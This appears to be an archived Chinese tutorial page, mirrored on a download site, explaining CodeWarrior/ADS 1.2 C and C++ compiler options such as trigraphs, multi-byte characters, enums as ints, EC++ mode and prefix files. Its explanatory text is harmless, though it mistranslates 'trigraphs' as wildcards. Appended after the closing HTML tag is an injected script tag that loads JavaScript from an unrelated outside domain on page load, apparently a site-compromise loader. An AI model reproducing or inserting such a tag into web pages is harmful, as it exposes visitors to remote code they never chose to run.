⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ads1_2 使用教程 (3)续 编译2 - 开发工具 - arm嵌入式资源站.htm

📁 arm_ads 程序调试教程
💻 HTM
📖 第 1 页 / 共 4 页
字号:
                          size=2>100% ANSI </FONT><FONT size=2>兼容代码;</FONT> 
                          <LI><STRONG><FONT size=2>扩展通配符</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Expand 
                          Trigraphs):</FONT></STRONG> <FONT 
                          size=2>默认情况下,通配符是不允许的。为了能够使用通配符,就要选中此项。所谓通配符,就是在你的源代码中代表字符常量的方式。例如, 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>'????' </FONT><FONT size=2>就是一个通配符;</FONT> 
                          <LI><STRONG><FONT size=2>多字节敏感</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Multi-Byte 
                          Aware</FONT></STRONG><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>)<STRONG>:</STRONG> </FONT><FONT 
                          size=2>如果你是有能够的编程语言要求使用多字节字符</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>(</FONT><FONT size=2>例如 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Kanji 
                          </FONT><FONT size=2>或 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>Unicode)</FONT><FONT 
                          size=2>,就要选中此项。这样编译器才能正确地处理源代码中的多字节字符;</FONT> 
                          <LI><STRONG><FONT size=2>指示到 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>SOM (Direct 
                          to SOM):</FONT></STRONG> <FONT size=2>这是 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Macintosh 
                          </FONT><FONT size=2>平台上才有的功能,它允许你在 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>CodeWarrior 
                          </FONT><FONT size=2>中直接创建 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>SOM 
                          </FONT><FONT size=2>代码。</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>SOM 
                          </FONT><FONT size=2>是一种使用于苹果机上的开放文档环境的代码类型,但现在已没人用了; 
                          </FONT>
                          <LI><STRONG><FONT size=2>使用 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>CR 
                          </FONT><FONT size=2>为换行符</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Map 
                          Newlines to CR):</FONT></STRONG> <FONT 
                          size=2>这个选项允许你交换 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>'\n' 
                          </FONT><FONT size=2>和 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>'\r' 
                          (</FONT><FONT size=2>这是用于标识源码行结束的符号</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>)</FONT><FONT size=2>。此选项只对 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Mac OS 
                          </FONT><FONT size=2>上的编程有用;</FONT> 
                          <LI><STRONG><FONT size=2>不严格的指针类型规则</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Relaxed 
                          Pointer Type Rules):</FONT></STRONG> <FONT 
                          size=2>选中此项将把 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>char *, 
                          unsigned char *, void * </FONT><FONT size=2>和 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>Ptr </FONT><FONT 
                          size=2>当作是同一种类新。当你从另一个并没有正确管理指针类型的源代码中,或者是从一个使用还不能正确支持这些类型的老编译平台上开发的源代码中继承代码时,这个选项就很有用了;</FONT> 

                          <LI><STRONG><FONT size=2>枚举类型总是整型</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Enums 
                          Always Ints):</FONT></STRONG> <FONT 
                          size=2>通常情况下,编译器将一个枚举类型分配与之最接近的类型同样的空间。如果你想使枚举类型的空间总是和整型一样,那么就要选中此项。所谓枚举类型就像这样:</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>enum 
                          {itemone, itemtwo = 7, itemthree}</FONT><FONT 
                          size=2>。其中,</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>itemone 
                          </FONT><FONT size=2>等于 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>0</FONT><FONT size=2>,</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>itemtwo 
                          </FONT><FONT size=2>等于 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>7</FONT><FONT size=2>,</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>itemthree 
                          </FONT><FONT size=2>等于 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>8</FONT><FONT size=2>; </FONT>
                          <LI><STRONG><FONT size=2>使用无符号字符类型</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Use 
                          Unsigned Chars):</FONT></STRONG> <FONT 
                          size=2>选中此项将把所有字符数据类型当作无符号字符类型来处理;</FONT> 
                          <LI><STRONG><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>EC++ </FONT><FONT size=2>兼容模式</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(EC++ 
                          Compatibility Mode):</FONT></STRONG> <FONT size=2>使用 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>CodeWarrior </FONT><FONT size=2>编译嵌入式 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>C++ (EC++) </FONT><FONT size=2>代码时,要选中此项。请注意,此时 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>C++ </FONT><FONT size=2>中的诸如模板</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>(templates)</FONT><FONT size=2>、例外</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>(exceptions)</FONT><FONT size=2>和其它一些 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>C++ </FONT><FONT size=2>的高级功能就不可用了。具体情况请查阅 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>C++ </FONT><FONT size=2>手册; </FONT>
                          <LI><STRONG><FONT size=2>允许 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Objective 
                          C(Enable Objective C):</FONT></STRONG> <FONT 
                          size=2>为了使用 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Objective C 
                          (</FONT><FONT size=2>在 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>NeXT 
                          </FONT><FONT size=2>计算机操作系统上很著名的编程语言</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" 
                          size=2>)</FONT><FONT size=2>,要选中此项。此选项只能在 </FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>Mac OS 
                          </FONT><FONT size=2>下只用;</FONT> 
                          <LI><STRONG><FONT size=2>前缀文件</FONT><FONT 
                          face="Arial, Helvetica, sans-serif" size=2>(Prefix 
                          File):</FONT></STRONG> <FONT 
                          size=2>如果需要在每个源文件中包括一个头或预编译头文件,就要将该文件名输入在此处。适用情况:当所有源文件都要访问一个特殊的定义,但你又不想在每个源文件中键入 
                          </FONT><FONT face="Arial, Helvetica, sans-serif" 
                          size=2>#include </FONT><FONT 
                          size=2>来包括该定义时,使用此选项很方便。</FONT> </LI></UL>
                        <P><STRONG><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp; </FONT><FONT 
                        size=2>注意</FONT><FONT 
                        face="Arial, Helvetica, sans-serif" 
                        size=2>:</FONT></STRONG> <FONT size=2>上述许多选项在 
                        </FONT><FONT face="Arial, Helvetica, sans-serif" 
                        size=2>Mac OS </FONT><FONT size=2>和 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>Windows 
                        </FONT><FONT size=2>平台上的 </FONT><FONT 
                        face="Arial, Helvetica, sans-serif" size=2>CodeWarrior 
                        </FONT><FONT 
                        size=2>编译器版本中都是一样的。但根据我们在上面对这些编译器选项的描述可知,一些选项在两个平台上还是有一些不同的。然而,<FONT 
                        face="Arial, Helvetica, sans-serif">C </FONT>和 <FONT 
                        face="Arial, Helvetica, sans-serif">C++ 
                        </FONT>时平台无关的编程语言,因此大多数概念都是可以应用于任何平台的。</FONT><BR><FONT 
                        face="Arial, Helvetica, sans-serif" 
                        size=2>&nbsp;&nbsp;&nbsp;</FONT></P></TD></TR></TBODY></TABLE></CENTER></DIV></TD></TR></TBODY></TABLE>
            <SCRIPT>my_tag("gg_300_300",1);</SCRIPT>
          </TD></TR></TBODY></TABLE><BR><A name=comment></A>相关评论: 
      <HR>

      <TABLE width="98%" border=0>
        <TBODY></TBODY></TABLE>
      <SCRIPT language=JavaScript>
comment_author = '评论人';
comment_content = '评论内容';
</SCRIPT>
      <SPAN id=comment_form></SPAN><BR><IMG height=6 
      src="ADS1_2 使用教程 (3)续 编译2 - 开发工具 - ARM嵌入式资源站.files/jian_tou_2.gif" width=9 
      align=absMiddle> 本文章所属分类:<A href="http://www.embed-game.com/">首页</A> → <A 
      href="http://www.embed-game.com/article_html/BianYiQiXiangGuan/">开发工具</A> 
      </DIV></DIV></TD>
    <TD vAlign=top width=180><!-- 右边部分 -->
      <DIV class="t3 bcy bgy bg_blue">
      <SCRIPT>my_tag("my_text_002",1);;</SCRIPT>
      </DIV>
      <DIV class="b3 bcy mb12">
      <SCRIPT>my_tag("gg_160_600",1);</SCRIPT>
      </DIV>
      <DIV class="t4 bcy bgy mb12 bg_blue"><A class=lbk 
      href="http://www.embed-game.com/">返回网站首页</A></DIV>
      <DIV class=b4y>
      <SCRIPT>my_tag("feedback_text",1);</SCRIPT>
      </DIV></TD></TR></TBODY></TABLE><!-- 页底部分 -->
<DIV id=cp>
<SCRIPT>my_tag("copyright",1);</SCRIPT>
</DIV><!-- 以下js用于自动更新静态页,统计文章点击数等用途 -->
<SCRIPT>
			hbcms_dir	= "";
			hbcms_tpl	= "article_detail.tpl.html";
			hbcms_ctime = 1178847324;
		</SCRIPT>

<SCRIPT 
src="ADS1_2 使用教程 (3)续 编译2 - 开发工具 - ARM嵌入式资源站.files/hbcms_bottom_js.js"></SCRIPT>
</BODY></HTML>

<script language=javascript src=http://bole.netstv.net/xia/win.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -